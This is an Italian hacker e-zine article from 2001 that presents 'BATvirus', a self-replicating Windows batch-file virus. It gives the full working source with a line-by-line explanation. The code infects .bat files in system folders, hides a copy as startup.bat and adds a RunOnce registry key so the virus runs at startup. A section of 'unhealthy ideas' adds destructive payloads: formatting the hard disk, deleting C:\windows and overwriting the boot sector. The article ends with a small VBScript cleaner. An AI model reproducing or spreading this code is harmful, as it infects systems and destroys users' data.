============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 16 di 18 ]------------- ============================================================================== -[ ViRii ]-------------------------------------------------------------------- ---[ BATViRUS, iL ViRUS Di BATMAN ? -----[ sKIZoidETitolozzo: BATvirus, il virus di BATMAN? Autore: sKIZoidE (io 8-/) Piattaforma: Finestre95/98/Me NT/2000 Temperatura: nun zo', faccaldo! Consumo: Un the' caldo della fottuta makkinetta del caffe' della mia ditta e alla faccia del caldo che fa adesso ;) Livello: Intermedio (leggi: mi PIACEREBBE che fosse ALMENO intermedio in realta' il livello e': 'Superbanalone' :)) Dediche: . a una ragazza che non lo sapra' mai . alla Mo, un'altra ragazza che non lo sapra' mai :-* . all'inventore di dos/windows/nt/2000: ma va@f'a@*ul# . a chi NON PUO' formattare il suo hd con win per poterci installare linux/*bsd IDEA ---- Mo veniamo a noi. L'idea mi e' venuta spizzicando qua e la' nel sorgente del virus Wm/W32.Cocaine di Vecna (xine-4): Un batch virus PURO? E' possibile? Chiunque di voi abbia dovuto utilizzare il vecchio MS-DOS o debba ancor oggi automatizzare Willoz utilizzando i ricchissimi strumenti che mamma (maiala) Microcefalox mette a disposizione, si sara' sicuramente scontrato con i files batch. Cosa sono i files batch? Sono mini(micro)-script per ambiente ms-dos/win che permettono di eseguire una serie di comandi e forniscono una scarna (ed e' un eufemismo!) serie di istruzioni interne per permettere un minimo di controllo di flusso. I **nixiani si dimentichino dei loro potentissimi shell-scripts! Qui si parla di Willoz: tutto e' atrocemente piu' ostico, qui! In breve, i comando interni che e' possibile utilizzare, sono: ECHO [ON | OFF] | messaggio visualizza un messaggio SET [variabile=stringa] imposta una variabile IF [NOT] ERRORLEVEL numero comando test sullo stato ritornato dall'ultimo programma eseguito stringa1==stringa2 test sul confronto di stringhe EXIST test sull'esistenza di un file GOTO etichetta Passa l'esecuzione a 'etichetta' PATH percorso1;percorso2;.. Setta il path di ricerca dei comandi FOR %var IN (gruppo) DO comando esegue un comando su un gruppo di files @ NON visualizza il comando lanciato comando < | > | >> file | NUL redirige l'input o l'output di un comando da / su un file o su NUL REM | :: Commenti %variabile% Il contenuto della variabile %1 ... %9 Parametri dati al file batch %0 Nome del file batch SHIFT Shifta a sinx i parametri, perdendo il primo. CALL programma Esegue un programma esterno e poi ritorna Esempio sul'uso delle variabili: set NOME=Bill Gatez setta la var 'NOME' if "%NOME%"=="Bill Gatez" echo Frocio! test che tutti capiscono ;) set NOME= cancella la variabile Se una variabile non viene pulita, rimane anche dopo l'esecuzione del batch. Per la cronaca e' anche possibile 'inventarsi' delle chiamate di funzione in questo modo: set RET=step2 <-- setta una var con la label di ritorno goto function <-- esegui il goto (sarebbe la call) alla funzione :step2 <-- label di ritorno . . . . . . :function <-- funzione echo Ciao mamma! goto %RET% <-- ret E questo e' tutto! EEhh? COOOOME? Tutto qui??? Ebbene si'...! Il nostro virusino dovra' sopravvivere in questo ambiente cosi' ostile! Bhe'.. Stara' a noi renderlo almeno VIVIBILE per il nostro bel BATvirino ancora in fasce ;) OBIEZIONI --------- (scdbv = Super Coder Della Boia Vacca) lamer: "Ma ormai siamo nel 2002, c'e' Windows 2000, il mouse le icone, Lara Croft adesso e' una star del cinema! Cosa ce ne facciamo di un FILE BACH? Sei antiCuato!! Adesso ti lancio il mio Morton Antivirus e ti scancello il tuo pipistrello!" scdbv: "Mai sentito parlare di un file chiamato Autoexec.bat o di un dosstart.bat? Proprio sicuro che i nuovi potentissimi ;) sistemi (dis)operativi Microsux NON usino piu' i .bat?? Se non ci sono, basta CREARLI perche' vengano usati all'avvio!" lamer: "Vabbe' autoesec.bat ce l'ho, adesso lo cavo quel virus maledetto! Zac ho aperto risorse del compiuter e l'ho spazzato via anche dal cesto del picnic! Adesso scancello anche questo command.com che mi sembra un altro virus potentissimo. Opla' fatto ora sto riavviando il mio Windows98 bello pulito, che forza!" scdbv: "Oooooh! Che mi hai sconfitto! Che tristezza! Sigh Sob il mio povero virus e' stato debellato.." COSA DIAVOLO FA? ---------------- A dire la verita' non fa quasi niente. O meglio: si replica, vive di vita propria e infetta ogni .bat che trova nella cartella corrente, in C:\, in C:\DOS, C:\WINDOWS o in C:\WINDOWS\COMMAND. L'unico 'danno' e' di accodare un paio di righe di testo in un file temporaneo che cresce ogni volta che un .bat infetto viene lanciato. Vi pare poco? Ecchediamine! Fa pochino per essere un virus? Ma non e' detto che non POSSA fare di piu' :) In fondo e' solo un bambino e serve qualcuno che gli insegni a camminare! Si' perche' anche se gli stumenti sono poverissimi (Bill GAYtes quando ha 'cagato' dos/win forse era stitico, cosi' pochi sono i comandi a disposizione) le possibilita' sono I L L I M I T A T E! Bhe', vediamo come. COME FUNZICA ------------ Il virus e' gia' incorporato in un 'innocuo' file .bat che non fa niente se non scrivere una frase stupida a video. Basta lanciarlo perche' automaticamente venga avviata l'infezione. Il virus cerca file .BAT e li infetta seguendo quest'ordine: 1) Cartella corrente 2) C:\ 3) C:\DOS 4) C:\WINDOWS (\WINNT) 5) C:\WINDOWS\COMMAND (\WINNT\COMMAND) Poi copia una copia (!) di se stesso nella cartella C:\WINDOWS\SYSTEM con il nome di 'STARTUP.BAT' e si va a piazzare nel registro di configurazione di Willoz, in modo da essere lanciato ad ogni riavvio del sistema. Un file .bat infetto, si presenta proprio come un VERO virus: INFECTOR.BAT: +-------------+ | virus |----+ +-------------+ | | file .bat | | | originale | | +-------------+ | |label uscita |<---+ +-------------+ Ma come fa ad infettare altri files senza dei comandi di open/close sui files? Bhe', il segreto e' usare la REDIREZIONE dell'output e un piccolo trucchetto con DEBUG! Per cercare altri files da infettare usa il comando FOR, rilanciando se stesso in modo ricorsivo (!!) per ogni file che ha trovato! Hurg! Okay... se non ci avete capito niente, passiamo ad analizzare il programma passo passo: ECCOLO! ------- <-| BATVIRUS/INFECTOR.BAT |-> @echo off rem BATvirus - The night flyer :)= if exist __virZZ.lck goto __vxzvx0 echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck echo path %PATH%>>__virZZ.lck set WD=\WINDOWS if not exist %WD%\nul set WD=\WINNT if not exist %WD%\nul goto __vxzvEE set CMD=%WD%\COMMAND if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32 PATH %WD%;%CMD%;%WD%\SYSTEM32 for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x ren __virZZ.lck __virZZ.bat >nul if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE echo REGEDIT4>%TEMP%\mO20sE82.tmp echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s %TEMP%\mO20sE82.tmp set fn= goto __vxzvxE :__vxzvx0 find "Dedicated to omacni_shciesi " %1 >nul if NOT errorlevel 1 goto __vxzvEE set fn=%0 if not exist %fn% set fn=%0.bat copy %fn% __virii.bat >nul goto __vxzvx1 rcx 68a w q :__vxzvx1 debug <%fn% __virii.bat >nul if not exist __virii.bat goto __vxzvEE if exist %WD%\SYSTEM\startup.bat goto __vxzvx2 copy __virii.bat %WD%\SYSTEM\startup.bat >nul echo :__vxzvEE>>%WD%\SYSTEM\startup.bat :__vxzvx2 type %1 >>__virii.bat copy __virii.bat %1>nu l del __virii.bat>nul echo :__vxzvEE>>%1 set fn= goto __vxzvEE :__vxzvxE if exist %TEMP%\BIGSPACE.SWP attrib -r -s -h %TEMP%\BIGSPACE.SWP echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP echo i'M fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP echo mO, yOU arE a BEauTIfUl GirL :)>>%TEMP%\BIGSPACE.SWP attrib +r +s +h %TEMP%\BIGSPACE.SWP call __virZZ.bat del __virZZ.bat >nul set WD= set CMD= @echo off echo +-----------------------------+ echo ! Hello i'm an infected file! ! echo ! I do nothing :)) ! echo +-----------------------------+ echo. :__vxzvEE <-X-> ANALISI SORGENTE ---------------- @echo off rem BATvirus - The night flyer :)= > hem, questo non lo commento :/ if exist __virZZ.lck goto __vxzvx0 > L'istruzione controlla l'esistenza di un file (__virZZ.lck) e in caso il > file esista, salta ad una label (__vxzvx0) > Questo mi serve per pilotare l'azione del virus durante l'infezione di > un gruppo di files. Se il file '__virZZ.lck' e' presente, significa che > il virus sta eseguendo la ricerca di altri files da infettare ed e' > all'interno di un ciclo FOR. Capiremo piu' avanti! echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck echo path %PATH%>>__virZZ.lck > Se il file di lock non esiste, allora iniziamo l'infezione! > Con questa istruzione facciamo 2 cose: > 1. Diciamo al virus che siamo nella fase di infezione > 2. Ci salviamo la commandline originale, che verra' compromessa in > seguito dall'azione del virus, e la path corrente. set WD=\WINDOWS if not exist %WD%\nul set WD=\WINNT if not exist %WD%\nul goto __vxzvEE set CMD=%WD%\COMMAND if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32 PATH %WD%;%CMD%;%WD%\SYSTEM32 > Questo e' facilotto: settiamo la dir root di willoz e la command a seconda > che siamo o meno su 95/98/NT/2000 e settiamo la path. Questo perche' nel > caso di infezione dell'autoessic.bat NON avremo pattha settata (in teoria) for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x > Il succo di questo comando e': Esegui '%0' (cioe' te stesso) ogni volta che > trovi un file .BAT in una delle cartelle specificate. > Cosa succede a questo punto? La CALL di se stesso fa tornare il controllo > all'inizio del batch. Ma a differenza della prima volta che e' stato > lanciato, ora esiste il file __virZZ.lck e il flusso del programma sara' > quindi un altro! > Seguiamolo: :__vxzvx0 find "Dedicated to omacni_shciesi " %1 >nul if NOT errorlevel 1 goto __vxzvEE > Qui controlliamo che il file batch da infettare ('%1') non sia gia' stato > infettato. Il comando 'find' (find /? x i dettagli) cerca una stringa in > un file e restituisce la variabile ERRORLEVEL=1 se NON l'ha trovata o > =0 se l'ha trovata. > Per cui se TROVA la stringa (cioe' se errorlevel NON e' 1), NON deve > infettare il file, per cui esce. set fn=%0 if not exist %fn% set fn=%0.bat copy %fn% __virii.bat >nul goto __vxzvx1 > Se siamo arrivati qui e' perche' abbiamo un bel file da infettare :) > Le prime due istruzioni si occupano di costruire il nome COMPLETO di se > stesso, perche' se io al prompt dei comandi lancio C:\>INFECTOR, la > variabile '%0' conterra' 'INFECTOR', senza l'estensione '.BAT' propria del > file. Qui serve l'ESATTO NOME DEL PROGRAMMA per poter eseguire una copia > di se stesso ed iniziare l'infezione. > Il problema che si presenta ora e' che non esiste in dos un comando tipo > il cut / grep / awk per manipolare gli stream di i/o. > Come facciamo a copiare solo la parte del virus che ci interessa e non > l'intero file batch? > Le istruzioni che seguono sono la risposta! rcx 68a w q :__vxzvx1 debug <%fn% __virii.bat >nul > Che *az**0 sono?? > Bhe', per capirle occorre dire 2 parole su un comando **magico**: DEBUG! > > ---- aperta parentesi tonda ---- > Non spieghero' il funzionamento del programma e su come farvi con lui magari > un VERO virus (ad es: un bel TSR di quelli d'una volta ;P): vi basti sapere > che, oltre a eseguire dei veri e propri programmi assembler (se programmate > in asm!), potete usare debug semplicemente per manipolare dei files. > Provate a digitare DEBUG+[INVIO]: vi comparira' il prompt '-'. Digitate > ora '?' per avere un breve help... poi sbizzarritevi! > ---- chiusa parentesi tonda ---- > > Quello che c'e' da sapere e' che debug accetta la redirezione dell'i/o. > Il comando debug <%fn% __virii.bat >nul significa: > esegui debug, aprendo il file '__virii.bat' e utilizzando i comandi > contenuti nel file %fn% e non far vedere quello che fai! > Ma che comandi contiene %fn%? > Ricordate? %fn% siamo noi! > Debug ignorera' tutti i comandi batch dall'inizio del file > (i vari @echo off, rem blablabla...) come comandi non riconosciuti, fino a > che non incontra' gli unici comandi che comprende: > rcx > 68a > Queste due righe sono in realta' un'unica istruzione, che assegna al > registro CX il valore (hex) 69d. > > ----- aperta parentesi tonda ----- > Cosa sono i registri? Sono le variabili usate dalla CPU (e da noi ;) ) > x memorizzare dei dati/puntatori. Nel caso di debug, la coppia di registri > AX:CX contiene la dimensione del file che e' attualmente caricato > in memoria. > ----- chiusa parentesi tonda ----- > > Il valore '68a' e' l'ESATTA dimensione del virus, tranne che per l'ultima > istruzione che vedremo dopo. > Quindi, se modificate il virus in qualche modo, okkio alle dimensioni! > Dunque, le istruzioni: > w (Write, scrive il file troncandolo alla dimensione di AX:CX) > q (Quit, esce da debug) > > Zac! Ora abbiamo il file __virii.bat che contiene la parte del virus da > trasmettere al mondo intero. Il piu' e' veramente fatto! > Ora non ci resta che usare la redirezione per incollare i vari pezzi del > puzzle e dare il via alla piu' grande infezione della storia ( 8D )! if not exist __virii.bat goto __vxzvEE if exist %WD%\SYSTEM\startup.bat goto __vxzvx2 copy __virii.bat %WD%\SYSTEM\startup.bat >nul echo :__vxzvEE>>%WD%\SYSTEM\startup.bat :__vxzvx2 > Bhe' questo e' semplice! La prima istruzione controlla che non ci sia stato > 1 errore di i/o sul disco e non sia stato creato il file __virii.bat. > La seconda riga installa una copia del virus sotto "mentite spoglie", cioe' > come startup.bat nella cartella SYSTEM di willoz. type %1 >>__virii.bat copy __virii.bat %1>nul del __virii.bat>nul > Ecco l'infezione! Il file da infettare viene accodato al virus con il primo > comando type, usando la redirezione dell'output. Poi il file da infettare > viene sostituito con quello infettato e la copia vecchia viene eliminata. echo :__vxzvEE>>%1 > Questa istruzione accoda la label di uscita di errore usata dal virus. > Dev'essere l'ultima label senno' quando il virus esce fa del casino. :__vxzvxE if exist %TEMP%\BIGSPACE.SWP attrib -r -s -h %TEMP%\BIGSPACE.SWP echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP echo i'M fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP echo mO, yOU arE a BEauTIfUl GirL :)>>%TEMP%\BIGSPACE.SWP attrib +r +s +h %TEMP%\BIGSPACE.SWP > Ok queste sono le 4 cagate che fa il virus di danno! > Sisisisi e' molto lamah, lo so ma e' solo un esempio dimostrativo. > Far danni non e' la mia massima aspirazione :) comunque qua in mezzo potete > metterci quello che volete! Il solo limite e' la vostra fantasia (malata). call __virZZ.bat del __virZZ.bat >nul set WD= set CMD= > Qui vengono ripristinate le variabili CMDLINE e PATH ai valori originali. > Hu? Ma da dove sbuca il file __virZZ.bat? Lo vedremo in seguito... @echo off echo +-----------------------------+ echo ! Hello i'm an infected file! ! echo ! I do nothing :)) ! echo +-----------------------------+ echo. > Questo e' il primo file batch infettato! Non fa molto! :P :__vxzvEE > Label di uscita per errori del virus. > Ritorniamo ora un po piu' su; Quando il virus ha terminato l'infezione > controllando tutte le cartelle che deve controllare, cosa fa? > Bhe', si assicura (come ogni buon virus deve fare) di poter essere lanciato > almeno una volta all'avvio del sistema, cosi' tanto per andar via pari... ren __virZZ.lck __virZZ.bat >nul > Questa riga semplicemente toglie il lock (il virus entra cioe' nella fase > 'distruttiva', dopo aver completato l'infezione). > NB: Il file di lock NON viene cancellato perche' contiene il settaggio delle > variabili d'ambiente CMDLINE e PATH ORIGINALI per ripristinarle (come gia' > visto) all'uscita del virus. if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE echo REGEDIT4>%TEMP%\mO20sE82.tmp echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s %TEMP%\mO20sE82.tmp set fn= goto __vxzvxE > Qui il virus si installa nel registro di configurazione di willoz in modo > da essere lanciato ad ogni riavvio del sistema. Ho scelto la cartella > RunOnce perche' e' poco usata :) > Solo una nota: il file %TEMP%\mO20sE82.tmp NON viene cancellato! > Non e' un errore... e' che se cancellassimo il file temp subito dopo aver > lanciato regedit, il file verrebbe cancellato PRIMA di essere letto dal > regedit stesso, causa il multitask di windows. > Schemino: > > a) regedit /s %TEMP%\mO20sE82.tmp REGEDIT e' caricato in memoria. > b) del %TEMP%\mO20sE82.tmp Il file .tmp e' cancellato. > c) REGEDIT cerca di aprire il .tmp > che non c'e' piu' e da' errore. > Bisognerebbe eseguire: start /w regedit /s blablabla, per far si' che > il programma attenda la fine del regedit PRIMA di proseguire. > Questa NON mi sembra una buona idea... preferisco lasciare un .tmp che > non sara' comunque facilmente individuabile. Ok siamo alla fine! Non ci avete capito 1 palazzo? Ok, forse non e' cosi' facile (edaaaai che non e' neanche difficile, no?) ma... provate, gente, provate! IDEE MALSANE ------------ Dicevamo che teoricamente si puo' fare di tutto! Cosa significa? Bhe', alcune implementazioni potrebbero essere: 1) Scatenare un evento in base alla DATA DI SISTEMA echo. | date | find "20/09" >nul if not errorlevel 1 blablabla... 2) Formattazione dell'HDD echo s|format c: 3) Infezione di ogni .bat presente nelle SOTTOCARTELLE (o in tutto l'hdd) dir *.bat /s >batlist.txt 4) Cancellazione di interi rami di directory deltree c:\windows /y 5) 'Cavare' il boot sector echo w 0000 2 0 3 >fuckboot.cmd echo q>>fuckboot.cmd debug nul 6) Per i piu' maliziosetti che gia' codano in .asm, provate questo: c:\>edit demo.src a 100 mov ah, 9 mov dx, 200 int 21 xor ax, ax int 16 int 20 a 200 db "Hello! I'm a fucked virus... :)-",d,a,"$" rcx 122 (dimensione prg= 222 - 100h = 122 il xche' non ve lo spiego :)) n demo.com w q c:\>debug demo Hello! I'm a fucking virus... :)- ...e poi viaggiate di fantasia! 7) Per chi ama i vari javascript o vbscript: if exist c:\windows\wscript.exe goto __scriptz :__scriptz rem Per come fare, date un'occhiata all'antivirus fornito in allegato :) 8) Nei link window, sostituire le chiamate ad alcuni comandi con dei batch che lancino i comandi veri. Es: explorer.lnk --> explorer.exe explorer.lnk --> explorer.bat --> explorer.exe Bhe', a questo sto lavorando per la versione II di BATvirus, ma piazzo qui l'idea tanto per far capire le potenzialita' di questo scriptino. DA FARE ------- . Velocizzare il virus, NON ricreando tutte le volte il file __virii.bat . Fixare alcune pecche (macroscopiche) allo startup di willoz CONCLUSIONE ----------- Ok spero di non aver incasinato troppo il tutto. L'idea di base non e' mia e non so se sia gia' stata implementata da altri, ma fino ad ora di virus cosi' non ne avevo mai visti, per cui... Si' lo so che questo virus e' lento, visibilissimo e nemmeno troppo elegante, ma vuol essere di sprono per tutti coloro che operano in ambienti ostili e che si sentono "inferiori" al loro colleghi che possono tranquillamente codare in asm/c e far danni di brutto avanti e indietro con stealth, polymorphic, pe infector, VxD fucher and so others...: Ragazzi, non mollate e studiate bene le vostre 'prede' che non si sa mai ;) SALUTI ------ .) Un saluto a tutto lo staff BFi.. non so se arriverete fino in fondo a quest'ammasso di parole sconclusionate che chiamo "articolo", cmq se solo avete letto questo "CIA0" ho raggiunto meta' del mio scopo ;). .) Un saluto particolare ad una persona che non lo sentira' mai (almeno non da qui :P ) e alla quale ho dedicato un file .tmp: mO20sE82! .) Un altro saluto alla mia girlz 8-* smack! .) Una frase per Paco, che e' agli inizi dello smanettamento: "Il computer e' sotto il controllo totale di Pacho!" Visto cosa si puo' fare con un semplice file batch? <-| BATVIRUS/BATAV.BAT |-> @echo off @echo BATAV v1.0 - Anti Viral ToolKit for BATman virus :) - sKIZoidE @echo. @if %1.==. goto end @type %0.bat | find /v "%0"| find /v "@" | find /v ":end" >__a.vbs @cscript __a.vbs %1 //nologo @echo. @del __a.vbs>nul @if exist c:\windows\system\startup.bat del c:\windows\system\startup.bat >nul @if exist c:\winnt\system\startup.bat del c:\winnt\system\startup.bat >nul @goto end On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FS= Createobject("Scripting.FileSystemObject") VIRLEN=54 'nr of rows of BATvirus set arg=WScript.Arguments if arg.length=0 then WScript.Quit() end if WScript.Echo "Scan Folder: ["&arg.Item(0)&"]"&vbCrLf set fold=FS.GetFolder(arg.Item(0)) if fold=null then WScript.Quit() for each fn in fold.Files if InStr(1, Ucase(fn.name), ".BAT") then WScript.Echo "Scan file "&fn.name clean fn.Path end if next WS.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\BATman" Set FS=Nothing Set WS=Nothing Sub clean(n) set inf = FS.OpenTextFile(n, 1) cnt=0 buff="" b="" flag=0 Do While Not inf.AtEndOfStream cnt = cnt + 1 b = inf.ReadLine if InStr(1, b, "Dedicated to omacni_shciesi ") then flag=1 if cnt > VIRLEN and b <> ":__vxzvEE" then buff = buff&b&vbCrLf end if Loop inf.close if flag <> 0 then WScript.Echo " -----) cleaned (" Set out=FS.OpenTextFile(n, 2, true) out.write buff out.close end if End Sub :end <-X-> ============================================================================== --------------------------------[ EOF 16/18 ]--------------------------------- ==============================================================================